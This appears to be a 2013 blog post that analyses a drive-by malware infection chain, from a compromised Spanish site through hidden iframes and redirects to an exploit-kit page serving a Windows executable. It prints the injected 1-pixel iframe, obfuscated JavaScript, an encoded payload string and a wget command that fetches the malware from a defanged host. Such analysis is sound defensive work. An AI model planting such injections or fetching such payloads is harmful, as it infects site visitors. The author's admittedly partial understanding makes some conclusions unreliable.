we got the information of Bad guy from this link (http://urlquery.net/report.php?id=1906732)

Which FInally leads us to this (h00p://www.robaina91[dot]com/es/robaina-album.html) website.

This looks like some normal one but it is not (Though google Crome already told me about the site is malecious).

Let’s try to see the reply header

 

Accept-Ranges:bytes

Connection:close

Content-Length:30270

Content-Type:text/html

Date:Wed, 10 Apr 2013 10:45:33 GMT

ETag:”5e18278-763e-51f1a980″

Last-Modified:Fri, 01 Feb 2013 20:09:26 GMT

Server:Apache/2.2.3 (CentOS)

 

Looks like normal one indeed it is lets dig a little more 🙂

 

On little analysis of this code I find out

<iframe src="h00p://allbestauto042[dot]ru/in.cgi?ftp" style="position: absolute; border: 0px; height: 1px; width: 1px; left: 1px; top: 1px;">

 

ok, Lets analyse this link  h00p://allbestauto042[dot]ru/in.cgi?ftp

The Header says

Request URL:h00p://allbestauto042[dot]ru/in.cgi?ftp

Request Method:GET

Status Code:302 Found

 

Query String Parametersview sourceview URL encoded

  1. ftp:

Response Headersview source

Connection:close

Content-Type:text/html; charset=UTF-8

Date:Thu, 11 Apr 2013 06:08:31 GMT

Location:http://google.com

Server:Apache/2.2.15 (CentOS)

Set-Cookie:vbpnxftp=_1_10000_; expires=Fri, 12-Apr-2013 06:08:31 GMT; path=/;domain=allbestauto042.ru

Set-Cookie:TSUSER=ftp; expires=Fri, 11-Apr-2014 06:08:31 GMT;path=/;domain=allbestauto042.ru

Transfer-Encoding:chunked

 

Why 302 and why is is redirecting and why not showing google IDK Please do tell me as I have no idea but this look suspecious.

After this it is loading 10 php file

h00p://newssearch006[dot]ru/flow01.php

 

Range from flow01-10

 

Lets dig a little more.

Request URL:h00p://promoution115[dot]ru/tds/in.cgi?default

Request Method:GET

Status Code:302 Found

 

Response header

Connection:close

Content-Type:text/html; charset=UTF-8

Date:Thu, 11 Apr 2013 06:14:46 GMT

Location:http://www.google.com

Server:Apache/2.2.15 (CentOS)

Set-Cookie:vbpnxdefault=_10_0_20_; expires=Fri, 12-Apr-2013 06:14:46 GMT; path=/; domain=promoution115.ru

Set-Cookie:vbpnx2=_0_98_102_48_35_58_88_; expires=Fri, 12-Apr-2013 06:14:46 GMT; path=/; domain=promoution115.ru

Transfer-Encoding:chunked

 

Again redirecting.

 

After digging a little more I came across

 

“h00p://1peregon.3d-game[dot]com/pZ8UZz0BD2G0ICJF0zMwF0Uq350We0P0m89M01WMv0B0x1/pdfx.html”

and

“h00p://1peregon.3d-game[dot]com/pZ8UZz0BD2G0ICJF0zMwF0Uq350We0P0m89M01WMv0B0x1/exvft.html”

 

This ask me to use JAVA as I don’t know the website so I never give permission but this means I am on track and close to my target.

So let’s dig a little more.

 

Cache-Control:no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Content-Encoding:gzip

Content-Length:735

Content-Type:text/html;charset=utf-8

Date:Thu, 11 Apr 2013 04:17:33 GMT

Expires:Thu, 19 Nov 1981 08:52:00 GMT

Pragma:no-cache

Server:nginx/0.7.64

X-Mode:HTML

X-Powered-By:ASP.NET version 4

X-Powered-By:HPHP

 

Let’s take a look in it’s code

 

<script></p>
<p dir="ltr">ZNtS='UVne';if (ZNtS=='NYhMNY') RQvjqh();function RfTuWD(){}function omjcz(){}var PMispi=219;TbtOk='iCUcc';if (TbtOk=='xsPS') eHaPAj='PWcK';</p>
<p dir="ltr">var TgPZN='YxGr';function zuWU(){var PjSQr='LEBk';kGuff='kVcVPJ';if (kGuff=='DgDnT') jCdMP();}FOgl='mNgzp';if (FOgl=='FdLFVa') wJkyeL='nyLce';</p>
<p dir="ltr">var kdXJWSBiW="h00p://1peregon.3d-game[dot]com/Ida6oe12WoP0i86j0ptqk0Tb9o09y270qr4X09QWG00qKN0I9BE151Dh0dABk0Fydh07d0h0fdAR0Z46U0TIRF0V3bN06qds0cAaJ0ZSQ80z0xU13bbJ043fY0YfOj0LmTy0yAaf151hk0HZHU0Le8w0Avyw0sxPI06hj50EAdx0Frnc0V7cq0n8LE0jcwk0kf6u17lnV0of8B/tSZ0MKcxCD.exe?8=nNAXHA";</p>
<p dir="ltr"></script>

 

Isn’t this suspecious..??

 

h00p://1peregon.3d-game[dot]com/Ida6oe12WoP0i86j0ptqk0Tb9o09y270qr4X09QWG00qKN0I9BE151Dh0dABk0Fydh07d0h0fdAR0Z46U0TIRF0V3bN06qds0cAaJ0ZSQ80z0xU13bbJ043fY0YfOj0LmTy0yAaf151hk0HZHU0Le8w0Avyw0sxPI06hj50EAdx0Frnc0V7cq0n8LE0jcwk0kf6u17lnV0of8B/tSZ0MKcxCD.exe?8=nNAXHA

Let’s see another file now and this end up with

 

RequestURL:h00p://1peregon.3d-game[dot]com/pZ8UZz0BD2G0ICJF0zMwF0Uq350We0P0m89M01WMv0B0x1/exvft.html

Request Method:GET

Status Code:200 OK

Cache-Control:no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Content-Encoding:gzip

Content-Length:1701

Content-Type:text/html;charset=utf-8

Date:Thu, 11 Apr 2013 12:04:24 GMT

Expires:Thu, 19 Nov 1981 08:52:00 GMT

Pragma:no-cache

Server:nginx/0.7.64

X-Mode:HTML

X-Powered-By:ASP.NET version 4

X-Powered-By:HPHP

<input type="text" id="bxpkr" value="78agb3aoadb2ajapao829ha1alahan9qad9haj8aada9aoabanaf8eb4abamb3af8eafb6aeabb7b18bb978b4abb082afb6aeabb2af93aoafb5829aabb2af8a8b9178afb6aeabb2af8gb1afb29aabb2af8aafb6aeabb2af8gahafb29aabb2af8a8b828d82afb6aeabb7b18b9178b4abb082ada9b4abamb3af93afb1adabaqaf8ab4abamb3af8b828d828a8aafb6aeabb7b19393aob3amam8b8295828484829082849182afb6aqajb0afb193848dafb6aeabb2af8gb2ap9r9q999pb2b0ajaoah8a8b8b9178aeapadb3anafaob28gadapapalajaf93ada9aoabanaf828d82849384828d82ada9b4abamb3af9178bb78b4abb082ai9laqb7ak9aabam829382aoabb4ajahabb2apb08gb3b1afb097ahafaob28gb2ap9iapb5afb099abb1af8a8b9178ajag8aai9laqb7ak9aabam8gajaoaeafb69lag8a84b5apb58o8m848b928i82888882ai9laqb7ak9aabam8gajaoaeafb69lag8a84anb1ajaf848b94938i8bb9789ha1alahan9qad9haj8a84ag9d9dai9qabb1aeabb1848e82alaea29ga19p98aja18d8488ai938l8k848e828j8b9178aeapadb3anafaob28gb5b0ajb2af8a8492ajagb0abanaf82agb0abanafacapb0aeafb093898i8982b1adb0apamamajaoah9389aoap8982b1b2b7amaf9389aqapb1ajb2ajapao90abacb1apamb3b2af91b2apaq908iaqb691amafagb2908iaqb6918982b1b0ad9389agaob2b18gaib2anam8994928hajagb0abanaf94848b9178bb78b4abb0829paqamajb29kb3an93agb3aoadb2ajapao8ab1b2b08bb978b4abb082b0afb293a5a79178b4abb082b1aqam93b1b2b08gb1aqamajb28a8ha5a68ga6a98e8fa78hah8b9178agapb08aaj938i91aj928m91aj8d8d8bb978ajag8ab2b7aqafapag82b1aqama5aja7839384b3aoaeafagajaoafae848bb9b0afb2a5aja793b1aqama5aja791bbafamb1afb9b0afb2a5aja793848i8491bb78bb78b0afb2b3b0ao82b0afb28gakapajao8a84848b9178bb9178b4abb0829dafb29kb3an93agb3aoadb2ajapao8ab1b2b08bb978b2b0b7b978b0afb2b3b0ao829paqamajb29kb3an8ab1b2b08ganabb2adai8a8ha5a6aea7a5a6aea68ga6a98e8fa78c8h8b8gakapajao8a84848b8b78bbadabb2adai8aad8bb9bb9178b0afb2b3b0ao8284849178bb9178b4abb0829dafb29maeaga0afb0b1ajapao93agb3aoadb2ajapao8a8bb978ajag8aaoabb4ajahabb2apb08gaqamb3ahajaob182888882aoabb4ajahabb2apb08gaqamb3ahajaob18gamafaoahb2ai948i8bb978b4abb082aqamb3ahajao9kabanaf829382aoabb4ajahabb2apb08gaqamb3ahajaob1a58497aeapacaf8297adb0apacabb284a79178ajag8a83aqamb3ahajao9kabanaf8b82b0afb2b3b0ao8284849178b4abb082aqaeaga9b4afb0a9b4afb0b1ajapao939dafb29kb3an8aaqamb3ahajao9kabanaf8gb4afb0b1ajapao8b9178b4abb082aqaeaga9b4afb0a9aeafb1adb0ajaqb2ajapao939dafb29kb3an8aaqamb3ahajao9kabanaf8gaeafb1adb0ajaqb2ajapao8b9178b4abb082aqaeaga9b4afb0a9anajanaf9384849178ajag8aaoabb4ajahabb2apb08ganajanaf9qb7aqafb1a584abaqaqamajadabb2ajapao8hb4aoae8gabaeapacaf8gaqaeagb6anam84a78bb9aqaeaga9b4afb0a9anajanaf93848r8g8i8g8i8g8i8491bbafamb1afb9ajag8aaoabb4ajahabb2apb08ganajanaf9qb7aqafb1a584abaqaqamajadabb2ajapao8hb4aoae8gabaeapacaf8gb68fanabb0b184a78bb9aqaeaga9b4afb0a9anajanaf93848q8g8i8g8i8g8i8491bbbb9178ajag8aaqaeaga9b4afb0a9b4afb0b1ajapao839384848bb978b0afb2b3b0ao82aqaeaga9b4afb0a9b4afb0b1ajapao9178bb78afamb1af82ajag8aaqaeaga9b4afb0a9aeafb1adb0ajaqb2ajapao839384848bb978b0afb2b3b0ao82aqaeaga9b4afb0a9aeafb1adb0ajaqb2ajapao829178bb78afamb1af82b978b0afb2b3b0ao829dafb29kb3an8aaqaeaga9b4afb0a9anajanaf8b9178bb78bbafamb1afb978b4abb082aeajb4a9apacak829382aeapadb3anafaob28gadb0afabb2af9bamafanafaob28a84aeajb4848b9178aeapadb3anafaob28gacapaeb78gabaqaqafaoae99aiajamae8aaeajb4a9apacak8b9178aeajb4a9apacak8gajaoaoafb09e9q9j9i82938289929l989g9b999q82ajae829382849maeag9mamb3ah9lacak8482aoabanaf93849maeag9mamb3ah9lacak8482999i979p9p9f9a9384adamb1ajae9099978q978r8p8q8i8f8k8q8i9a8f8j8j999c8f978k8m9a8f8m8m8m8n8n8l8n8m8i8i8i8i8482a19f9a9q9e93848i84829e9b9f9d9e9q93848i8494928h9l989g9b999q94899178b2b0b7b978b0afb2b3b0ao829dafb29kb3an8a9maeag9mamb3ah9lacak8g9dafb2a0afb0b1ajapaob18a8b8b9178bbadabb2adai8aad8bb9b0afb2b3b0ao82848491bb9178bb78bb78aqaeagb4afb08293829dafb29maeaga0afb0b1ajapao8a8b9178ajag8aaqaeagb4afb0839384848b78aqaeagb4afb093aqabb0b1af9faob28aaqaeagb4afb08b9178afamb1af82aqaeagb4afb0938i9178agb3aoadb2ajapao829canb1b7al8a8b82b978b4abb082b3ab829382aoabb4ajahabb2apb08gb3b1afb097ahafaob28gb2ap9iapb5afb099abb1af8a8b9178ajag828ab3ab8gajaoaeafb69lag8a84b5ajao848b94938i8b82b0afb2b3b0ao828j9178b0afb2b3b0ao828i9178bb78agb3aoadb2ajapao829n9k9oabb7agb88a8bb978ajag8aaoabb4ajahabb2apb08gb3b1afb097ahafaob28gajaoaeafb69lag8a8499aib0apanaf848b94938i8b82b0afb2b3b0ao828j9178b0afb2b3b0ao828i9178bb78agb3aoadb2ajapao82b29ib59aak9b9a9lac8aarapa499ak8b82b978b4abb082aqajagb0829382aeapadb3anafaob28gadb0afabb2af9bamafanafaob28a84ajag848d84b0ab848d84anaf848b9178aqajagb08gb1afb297b2b2b0ajacb3b2af8a89b5ajaeb2ai898e828j8i8b9178aqajagb08gb1afb297b2b2b0ajacb3b2af8a89aiafajahaib2898e828j8l8b9178aqajagb08gb1afb297b2b2b0ajacb3b2af8a89b1b2b7amaf898e8284b2apaq908j8i8iaqb691aqapb1ajb2ajapao90abacb1apamb3b2af848b9178aqajagb08gb1afb297b2b2b0ajacb3b2af8a89b1b0ad898e82arapa499ak8b9178aeapadb3anafaob28gacapaeb78gabaqaqafaoae99aiajamae8aaqajagb08b9178bb78ajag828a9canb1b7al8a8b82888882839n9k9oabb7agb88a8b8b82b978ajag828a8aaqaeagb4afb094938q8i8i8i82888882aqaeagb4afb092938q8k8i8i8b82baba828aaqaeagb4afb094938r8i8i8i82888882aqaeagb4afb092938r8l8i8i8b8b78b29ib59aak9b9a9lac8a84979banapal9p9c8gaqaeag848b9178ajag828aaqaeagb4afb0829493828o8i8i8i82888882aqaeagb4afb08292828q8i8i8i8b78b29ib59aak9b9a9lac8a84b5ar9999akan8gaqaeag848b9178ajag828a838a8aaqaeagb4afb094938q8i8i8i82888882aqaeagb4afb092938q8k8i8i8b82baba828aaqaeagb4afb094938r8i8i8i82888882aqaeagb4afb092938r8l8i8i8b8b82888882838aaqaeagb4afb0829493828o8i8i8i82888882aqaeagb4afb08292828q8i8i8i8b8b78b1afb29qajanafapb3b28a84aeapadb3anafaob28gb5b0ajb2af8a8992ajagb0abanaf82b1b2b7amaf93a684b2apaq908j8i8iaqb691aqapb1ajb2ajapao90abacb1apamb3b2afa68482b1b0ad93a684akapb4ag8gaib2anama68494928hajagb0abanaf94898b848e8l8i8i8i8b9178bb78">

 

So a text area with some random text…

 

Nothing much. Let’s get back and analyse that file which we got from the javascipt 🙂

 

<script>

ZNtS='UVne';if (ZNtS=='NYhMNY') RQvjqh();function RfTuWD(){}function omjcz(){}var PMispi=219;TbtOk='iCUcc';if (TbtOk=='xsPS') eHaPAj='PWcK';</p>
<p dir="ltr">var TgPZN='YxGr';function zuWU(){var PjSQr='LEBk';kGuff='kVcVPJ';if (kGuff=='DgDnT') jCdMP();}FOgl='mNgzp';if (FOgl=='FdLFVa') wJkyeL='nyLce';</p>
<p dir="ltr">var kdXJWSBiW="h00p://1peregon.3d-game[dot]com/Ida6oe12WoP0i86j0ptqk0Tb9o09y270qr4X09QWG00qKN0I9BE151Dh0dABk0Fydh07d0h0fdAR0Z46U0TIRF0V3bN06qds0cAaJ0ZSQ80z0xU13bbJ043fY0YfOj0LmTy0yAaf151hk0HZHU0Le8w0Avyw0sxPI06hj50EAdx0Frnc0V7cq0n8LE0jcwk0kf6u17lnV0of8B/tSZ0MKcxCD.exe?8=nNAXHA";

</script>

 

the new script and there we got what we really wanted 🙂

 

“h00p://1peregon.3d-game[dot]com/Ida6oe12WoP0i86j0ptqk0Tb9o09y270qr4X09QWG00qKN0I9BE151Dh0dABk0Fydh07d0h0fdAR0Z46U0TIRF0V3bN06qds0cAaJ0ZSQ80z0xU13bbJ043fY0YfOj0LmTy0yAaf151hk0HZHU0Le8w0Avyw0sxPI06hj50EAdx0Frnc0V7cq0n8LE0jcwk0kf6u17lnV0of8B/tSZ0MKcxCD.exe?8=nNAXHA”

 

The real malware what we always wanted to have 🙂

 

wget –save-header h00p://1peregon.3d-game[dot]com/Ida6oe12WoP0i86j0ptqk0Tb9o09y270qr4X09QWG00qKN0I9BE151Dh0dABk0Fydh07d0h0fdAR0Z46U0TIRF0V3bN06qds0cAaJ0ZSQ80z0xU13bbJ043fY0YfOj0LmTy0yAaf151hk0HZHU0Le8w0Avyw0sxPI06hj50EAdx0Frnc0V7cq0n8LE0jcwk0kf6u17lnV0of8B/tSZ0MKcxCD.exe?8=nNAXHA

 

Download this file and let’s see its reports

1

Virus total report

https://www.virustotal.com/en/file/09d4986243951c6eafd4b715dd6b01a3a08e56dc61528387a914115f304b5583/analysis/1365682386/

 

Anubis report

http://anubis.iseclab.org/?action=result&task_id=106d9fecea32c098409aa191b7f285fd4&format=pdf

 

So malware confirmed.

 

In the process of analysis I came across “h00p://golf2day[dot]com/wnqe.html” but I am not be able to confirm why it is malecious or being declared malicious by browser as it was be asking for some ID pass and creating a secure connection.

 

Anyhow let’s see the domain and whois of this domain

whois 3d-game.com

  Domain Name: 3D-GAME.COM

  Registrar: DNC HOLDINGS, INC.

  Whois Server: whois.directnic.com

  Referral URL: http://www.directnic.com

  Name Server: NS1.DTDNS.COM

  Name Server: NS2.DTDNS.COM

  Name Server: NS3.DTDNS.COM

  Status: clientDeleteProhibited

  Status: clientTransferProhibited

  Status: clientUpdateProhibited

  Updated Date: 03-oct-2012

  Creation Date: 13-apr-2003

  Expiration Date: 13-apr-2014

Registrant:North Loop Networks

1807 3rd st ne

Minneapolis, MN 55418

US

612 385 5501

Domain Name: 3D-GAME.COM

 

Administrative Contact:

Manager, Hostmaster hostmaster@northloopnetworks.com

1807 3rd st ne

Minneapolis, MN 55418

US

612 385 5501

Technical Contact:Manager, Hostmaster hostmaster@northloopnetworks.com

1807 3rd st ne

Minneapolis, MN 55418

US

612 385 5501

Record last updated 03-02-2011 12:39:17 PM

Record expires on 04-13-2014

Record created on 04-13-2003

 Domain servers in listed order:

NS1.DTDNS.COM 64.156.29.49

NS2.DTDNS.COM 67.228.106.194

NS3.DTDNS.COM 75.126.80.224


#MalwareMustDie

Advertisements